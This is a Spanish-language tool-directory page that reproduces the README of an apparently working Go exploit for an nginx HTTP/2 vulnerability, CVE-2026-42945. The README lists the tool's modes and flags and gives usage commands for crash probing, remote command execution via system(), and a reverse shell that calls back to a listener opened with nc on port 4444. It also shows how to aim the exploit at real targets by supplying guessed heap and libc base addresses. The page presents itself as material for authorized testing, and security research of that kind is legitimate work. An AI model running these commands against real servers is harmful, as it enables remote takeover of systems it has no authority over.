Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42945 — Herramienta de explotación basada en Go para CVE-2026-42945 (nginx HTTP/2) con capacidades de detección, sondeo de fallos, ejecución de comandos y shell inversa para pruebas de seguridad autorizadas. | Kitploit
Herramientas/GitHubGitHub/redcrazyghost/cve-2026-42945
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebFuzzingPruebas de PenetraciónExplotación de Binarios
GitHubredcrazyghost/cve-2026-42945

CVE-2026-42945

Herramienta de explotación basada en Go para CVE-2026-42945 (nginx HTTP/2) con capacidades de detección, sondeo de fallos, ejecución de comandos y shell inversa para pruebas de seguridad autorizadas.

Ver Repositorio
19hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-42945 PoC (Go)

Chino | English

Herramienta auxiliar de detección y explotación para la implementación HTTP/2 de nginx (CVE-2026-42945), utilizada para verificar si la vulnerabilidad existe en entornos autorizados, comparar los efectos de la corrección y reproducir el comportamiento del PoC en un entorno de laboratorio controlado.

Versiones afectadas (estimación): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ corregidas.


⚠️ Descargo de responsabilidad (léalo atentamente)

Este repositorio es únicamente para investigación de seguridad, verificación de vulnerabilidades y pruebas defensivas.

  1. Autorización legal: Solo puedes utilizar esta herramienta en sistemas para los que tengas autorización explícita por escrito o que sean completamente de tu propiedad. Escanear, sondear o atacar redes/servidores de otros sin autorización es ilegal. Los autores y contribuyentes no asumen ninguna responsabilidad legal.
  2. Bajo su propio riesgo: El proceso de explotación puede provocar caídas del worker del servicio objetivo, interrupciones del servicio o daños en los datos. Debes evaluar el impacto por ti mismo y verificar primero en un entorno aislado.
  3. Sin garantía: Esta herramienta se proporciona «tal cual», sin garantía de explotación exitosa en ningún entorno de producción real; los resultados de canal lateral no equivalen a haber logrado RCE; debes verificar de forma independiente mediante la escritura de archivos, eco de comandos o reverse shell.
  4. Prohibición de uso indebido: Está prohibido utilizar esta herramienta para penetrar sistemas no autorizados, extorsión, sabotaje, minería o cualquier propósito ilegal. Descargar, compilar o usar implica que has leído y aceptado esta declaración.
  5. Sin relación con NGINX oficial: Este proyecto es una implementación de investigación independiente y no representa la postura de NGINX oficial ni de ningún proveedor.

Si no aceptas los términos anteriores, deja de usar inmediatamente y elimina este repositorio.


Resumen de funcionalidades

ModoDescripción
-check-onlyConectividad, cabecera Server, estimación de versión, detección de endpoints PoC
-probe-crashEnvía una ronda de sonda de desbordamiento, determina mediante canal lateral de caída del worker
-cmdConstruye carga útil de exploit, ejecuta comando especificado mediante system()
-shellReverse shell (requiere -lhost, la máquina local necesita nc)
-dockerPrueba masiva del entorno experimental local Docker (vuln / fixed)

Requisitos del entorno

  • Go ≥ 1.26 (ver go.mod)
  • Opcional: Docker + docker compose (entorno experimental local)
  • Opcional: make, golangci-lint (desarrollo/verificación de código)
  • Verificación de explotación: el objetivo debe exponer los endpoints necesarios para el PoC (GET /api/, POST /spray, etc.); las imágenes Docker experimentales ya los incluyen

Limitaciones y entornos aplicables

ElementoDescripción
ProtocoloSolo soporta HTTP plano (net.Dial + bytes HTTP sin procesar), no soporta HTTPS/TLS. Para puertos TLS como -port 443, se necesita terminación TLS previa o usar un puerto HTTP.
Experimento DockerLa imagen es linux/amd64, la primera compilación con docker compose build necesita compilar nginx desde el código fuente, tarda bastante; dentro del contenedor se usa setarch -R para desactivar ASLR, difiere mucho del entorno de producción.
Apple SiliconDocker local se ejecuta mediante emulación platform: linux/amd64, es más lento.
Reverse shell-shell depende de nc del sistema, en Windows se recomienda escuchar manualmente.
Determinación de explotaciónEl canal lateral (caída del worker) no equivale a RCE, se debe verificar de forma independiente los efectos secundarios del comando.

Compilación

# 快速构建(输出到 bin/,已被 .gitignore 忽略)
make build-cmd

# 或直接使用 go
go build -o ./bin/cve-2026-42945 ./cmd

# 查看嵌入版本
./bin/cve-2026-42945 -version

Binarios de versión: Descargue cve-2026-42945-<os>-<arch> para su plataforma desde Releases (construido automáticamente por GitHub Actions después de etiquetar v*).


Guía de uso

Parámetros de línea de comandos

-target string      Objetivo IP/nombre de host (por defecto 127.0.0.1)
-port int           Puerto objetivo (0=80; Docker versión vulnerable usa comúnmente 19321)
-docker             Probar entorno experimental local Docker (vuln:19321, fixed:19331)
-check-only         Solo sondear, no enviar tráfico de exploit
-probe-crash        Sonda de desbordamiento + canal lateral de caída del worker
-cmd string         Comando a ejecutar mediante system()
-shell              Reverse shell (requiere -lhost)
-lhost string       IP local para reverse shell
-lport int          Puerto local para reverse shell (por defecto 4444)
-docker-profile     Usar medidas de heap/libc del entorno deploy/docker real
-heap-base string   Dirección base del heap (hexadecimal, ej. 0x555555659000)
-libc-base string   Dirección base de libc (hexadecimal)
-tries int          Intentos por candidato de heap (por defecto 10)
-timeout int        Timeout HTTP por solicitud en segundos (por defecto 5)
-v                  Salida detallada
-version            Mostrar versión y salir

El modo -docker no puede usarse junto con -cmd / -shell; para explotación de un solo objetivo, especifique -port 19321.

1. Solo sondear objetivo

./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only

2. Canal lateral de caída (objetivo único)

./bin/cve-2026-42945 -port 19321 -probe-crash -v

3. Comparación de entorno experimental Docker

Inicie primero los contenedores experimentales:

make docker-up
# o
docker compose -f deploy/docker-compose.yml up -d --build

La primera compilación necesita compilar nginx, puede tardar varios minutos; ejecute make test-lab solo después de que los servicios en docker compose ps estén healthy.

ServicioPuertoDescripción
vuln19321nginx 1.30.0 (afectado)
fixed19331nginx 1.30.1 (corregido)

Sondeo masivo:

./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash

O use los atajos de Makefile:

make test-lab          # check + probe
make cmd-exploit       # Escribe /tmp/pwned en vuln y muestra comando de verificación

4. Ejecutar comando en Docker vuln (verificación RCE)

El contenedor experimental tiene mayor tasa de éxito cuando ASLR está desactivado (setarch -R) y se usan direcciones base preestablecidas con -docker-profile:

./bin/cve-2026-42945 -port 19321 -docker-profile \
  -cmd 'echo pwned > /tmp/pwned' -v

# Verificar si el archivo se escribió
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned

5. Reverse shell

# Terminal 1: Iniciar la herramienta (intenta escuchar con nc en segundo plano)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v

# Si no encuentra nc, abra otro terminal y escuche manualmente:
nc -lvnp 4444

6. Diseño de memoria personalizado

Cuando el ASLR del objetivo real, la versión de libc no coinciden con Docker, debe filtrar o adivinar las direcciones base usted mismo:

# El objetivo debe ser un puerto HTTP plano (no TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
  -heap-base 0x555555659000 \
  -libc-base 0x7ffff77ba000 \
  -cmd 'id' -tries 20 -v

Interpretación de resultados

Descargar herramienta